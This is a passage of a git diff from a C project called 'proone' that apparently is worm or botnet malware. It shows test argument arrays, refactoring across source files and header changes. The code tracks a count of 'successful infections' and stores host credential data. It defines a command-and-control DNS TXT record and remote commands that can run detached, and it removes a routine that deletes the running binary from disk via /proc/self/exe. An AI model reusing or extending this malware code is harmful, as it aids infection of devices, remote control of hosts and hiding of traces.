- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "12", NULL
};
static char *too_long_mem_args[] = {
- "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
- "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
- "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
- "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
- "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
+ "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
+ "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
+ "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
+ "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
+ "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "12345678", NULL
};
static prne_htbt_bin_meta_t bm_a, bm_b;
@@ -147,7 +147,7 @@ static void test_ser (void) {
assert(prne_htbt_dser_status(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &s_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_htbt_eq_status(&s_a, &s_b));
prne_htbt_free_status(&s_a);
- prne_htbt_free_status(&s_b);
+ prne_htbt_free_status(&s_b);
// empty cred
// zero-size alloc
diff --git a/src/proone-test_util.c b/src/proone-test_util.c
index 43fc654..a5fac30 100644
--- a/src/proone-test_util.c
+++ b/src/proone-test_util.c
@@ -102,15 +102,15 @@ static void test_uuid (void) {
uint8_t out_arr[16];
char out_str[37];
- memzero(out_arr, 16);
- memzero(out_str, 37);
+ prne_memzero(out_arr, 16);
+ prne_memzero(out_str, 37);
assert(prne_uuid_fromstr(sample_str, out_arr));
assert(memcmp(sample_arr, out_arr, 16) == 0);
prne_uuid_tostr(out_arr, out_str);
assert(memcmp(sample_str, out_str, 37) == 0);
memset(out_arr, 0xFF, 16);
- memzero(out_str, 37);
+ prne_memzero(out_str, 37);
assert(prne_uuid_fromstr(empty_str, out_arr));
assert(memcmp(empty_arr, out_arr, 16) == 0);
prne_uuid_tostr(out_arr, out_str);
diff --git a/src/proone.c b/src/proone.c
index cc3ae25..2973aaf 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -138,14 +138,10 @@ static void seed_ssl_rnd (const bool use_bent) {
*/
static int proone_main (void) {
static int caught_sig;
- static pid_t reaped;
prne_assert(pth_init());
prne_g.main_pth = pth_self();
-#ifndef PRNE_DEBUG
- signal(SIGPIPE, SIG_IGN);
-#endif
seed_ssl_rnd(true);
alloc_workers();
@@ -156,14 +152,10 @@ static int proone_main (void) {
do {
prne_assert(pth_sigwait(&ss_all, &caught_sig) == 0);
- if (caught_sig == SIGCHLD) {
- do {
- reaped = waitpid(-1, NULL, WNOHANG);
- } while (reaped > 0);
- continue;
- }
- else if (caught_sig == SIGINT) {
- // Probably Ctrl + C. Wait for the parent to send SIGTERM.
+ switch (caught_sig) {
+ case SIGCHLD: // Not my child
+ case SIGINT: // Probably Ctrl + C. Wait for the parent to send SIGTERM.
+ case SIGPIPE:
continue;
}
} while (false);
@@ -185,24 +177,8 @@ static int proone_main (void) {
}
static void delete_myself (const char *arg0) {
-#ifndef PRNE_DEBUG
- static const char *proc_path = "/proc/self/exe";
- struct stat st;
- const char *path_to_unlink = NULL;
- char *path_buf = NULL;
-
- // get real path of myself
- if (lstat(proc_path, &st) == 0 && (path_buf = (char*)prne_malloc(1, st.st_size + 1)) != NULL && readlink(proc_path, path_buf, st.st_size) == st.st_size) {
- path_buf[st.st_size] = 0;
- path_to_unlink = path_buf;
- }
- else {
- // try to delete arg0 instead
- path_to_unlink = arg0;
- }
-
- unlink(path_to_unlink);
- prne_free(path_buf);
+#if defined(PRNE_DEBUG)
+ unlink(arg0);
#endif
}
@@ -400,6 +376,10 @@ static void load_ssl_conf (void) {
// set mutual auth
// ignore expired cert (system wall clock might not be set)
if (prne_g.s_ssl.ready) {
+ mbedtls_ssl_conf_rng(
+ &prne_g.s_ssl.conf,
+ mbedtls_ctr_drbg_random,
+ &prne_g.ssl.rnd);
mbedtls_ssl_conf_ca_chain(
&prne_g.s_ssl.conf,
&prne_g.ssl.ca, NULL);
@@ -412,6 +392,10 @@ static void load_ssl_conf (void) {
NULL);
}
if (prne_g.c_ssl.ready) {
+ mbedtls_ssl_conf_rng(
+ &prne_g.c_ssl.conf,
+ mbedtls_ctr_drbg_random,
+ &prne_g.ssl.rnd);
mbedtls_ssl_conf_ca_chain(
&prne_g.c_ssl.conf,
&prne_g.ssl.ca,
@@ -491,7 +475,7 @@ static bool init_shared_global (void) {
goto END;
}
- memzero(&skel, sizeof(skel));
+ prne_memzero(&skel, sizeof(skel));
// Future code for new shared_global format goes here
skel.rev = 0;
@@ -516,7 +500,7 @@ static bool init_shared_global (void) {
prne_dbgperr("* Failed to initialise shared global");
}
else {
- prne_s_g->ny_bin_name[0] = 0;
+ prne_s_g->ny_bin_path[0] = 0;
}
END:
@@ -540,10 +524,10 @@ static void init_ids (void) {
int fd = -1;
if (mbedtls_ctr_drbg_random(&prne_g.ssl.rnd, prne_g.instance_id, sizeof(prne_g.instance_id)) != 0) {
- memzero(prne_g.instance_id, sizeof(prne_g.instance_id));
+ prne_memzero(prne_g.instance_id, sizeof(prne_g.instance_id));
}
- memzero(prne_g.boot_id, 16);
+ prne_memzero(prne_g.boot_id, 16);
do { // fake loop
fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY);
if (fd < 0) {
@@ -601,6 +585,7 @@ int main (const int argc, const char **args) {
sigaddset(&ss_all, SIGINT);
sigaddset(&ss_all, SIGTERM);
sigaddset(&ss_all, SIGCHLD);
+ sigaddset(&ss_all, SIGPIPE);
prne_g.parent_start = prne_gettime(CLOCK_MONOTONIC);
prne_g.resolv = NULL;
@@ -626,8 +611,8 @@ int main (const int argc, const char **args) {
init_proone(args[0]);
/* inits that need outside resources. IN THIS ORDER! */
- load_ssl_conf();
seed_ssl_rnd(false);
+ load_ssl_conf();
init_ids();
if (!init_shared_global()) {
prne_dbgpf("*** Another instance detected.\n");
@@ -678,10 +663,13 @@ int main (const int argc, const char **args) {
case SIGCHLD:
prne_assert(waitpid(prne_g.child_pid, &status, WNOHANG) == prne_g.child_pid);
break;
+ case SIGPIPE:
+ prne_dbgpf("** Parent received SIGPIPE. WHAT???\n");
+ continue;
}
} while (false);
- has_ny_bin = strlen(prne_s_g->ny_bin_name) > 0;
+ has_ny_bin = strlen(prne_s_g->ny_bin_path) > 0;
if (!(WIFEXITED(status) && WEXITSTATUS(status) == 0)) {
prne_s_g->crash_cnt += 1;
@@ -704,8 +692,8 @@ int main (const int argc, const char **args) {
}
if (has_ny_bin) {
- unlink(prne_s_g->ny_bin_name);
- prne_s_g->ny_bin_name[0] = 0;
+ unlink(prne_s_g->ny_bin_path);
+ prne_memzero(prne_s_g->ny_bin_path, sizeof(prne_s_g->ny_bin_path));
}
sleep(1);
diff --git a/src/proone.h b/src/proone.h
index e551e14..700bd64 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -33,7 +33,7 @@ struct prne_global { // TODO: tidy init code when finalised
uint16_t dvault_size;
bool bin_ready;
bool is_child;
-
+
prne_bin_archive_t bin_archive;
struct {
@@ -66,13 +66,11 @@ struct prne_shared_global {
// Number of successful infections.
uint64_t infect_cnt;
// null-terminated name of new binary
- char ny_bin_name[256];
+ char ny_bin_path[256];
+ char ny_bin_args[1024];
char host_cred_data[256];
};
-static const intptr_t PRNE_RESOLV_WKR_ID = 0;
-static const intptr_t PRNE_HTBT_WKR_ID = 1;
-
extern struct prne_global prne_g;
// TODO: could be NULL on some environments
diff --git a/src/proone_conf.skel/config.h b/src/proone_conf.skel/config.h
new file mode 100644
index 0000000..c70c795
--- /dev/null
+++ b/src/proone_conf.skel/config.h
@@ -0,0 +1 @@
+#define PRNE_CNC_TXT_REC "CHANGE.ME.test"
diff --git a/src/proone_conf.skel/x509.h b/src/proone_conf.skel/x509.h
new file mode 100644
index 0000000..973540a
--- /dev/null
+++ b/src/proone_conf.skel/x509.h
@@ -0,0 +1,6 @@
+#define PRNE_X509_CA_CRT { 0x00 }
+#define PRNE_X509_DH { 0x00 }
+#define PRNE_X509_S_CRT { 0x00 }
+#define PRNE_X509_S_KEY { 0x00 }
+#define PRNE_X509_C_CRT { 0x00 }
+#define PRNE_X509_C_KEY { 0x00 }
diff --git a/src/protocol.c b/src/protocol.c
index bcbc4d1..51cbc15 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -189,9 +189,9 @@ void prne_htbt_init_host_info (prne_htbt_host_info_t *hi) {
hi->infect_cnt = 0;
hi->parent_pid = 0;
hi->child_pid = 0;
- memzero(hi->prog_ver, 16);
- memzero(hi->boot_id, 16);
- memzero(hi->instance_id, 16);
+ prne_memzero(hi->prog_ver, 16);
+ prne_memzero(hi->boot_id, 16);
+ prne_memzero(hi->instance_id, 16);
hi->host_cred = NULL;
hi->crash_cnt = 0;
hi->arch = PRNE_ARCH_NONE;
@@ -210,7 +210,7 @@ bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_str
return false;
}
- memzero(ny_mem, cred_strlen + 1);
+ prne_memzero(ny_mem, cred_strlen + 1);
prne_free(hi->host_cred);
hi->host_cred = (char*)ny_mem;
@@ -244,9 +244,10 @@ void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd) {
cmd->mem = NULL;
cmd->args = NULL;
cmd->argc = 0;
+ cmd->detach = false;
}
-bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const uint16_t argc, const size_t *args_len) {
+bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const size_t argc, const size_t *args_len) {
size_t i, str_size, pos, mem_len;
char *mem = NULL;
char **args = NULL;
@@ -362,10 +363,20 @@ void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd) {
}
bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b) {
- return
- a->mem_len == b->mem_len &&
+ if (!(a->mem_len == b->mem_len &&
a->argc == b->argc &&
